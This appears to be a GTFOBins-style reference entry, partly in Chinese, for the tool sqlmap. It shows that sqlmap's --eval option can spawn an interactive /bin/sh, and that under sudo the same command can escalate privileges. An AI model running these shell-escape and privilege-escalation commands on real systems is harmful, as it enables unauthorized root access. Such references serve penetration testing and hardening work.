.. / sqlmap

This allows to execute python code, other functions may apply.

shell

用来生成一个交互式的系统shell。

sqlmap -u 127.0.0.1 --eval="import os; os.system('/bin/sh')"

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

sudo sqlmap -u 127.0.0.1 --eval="import os; os.system('/bin/sh')"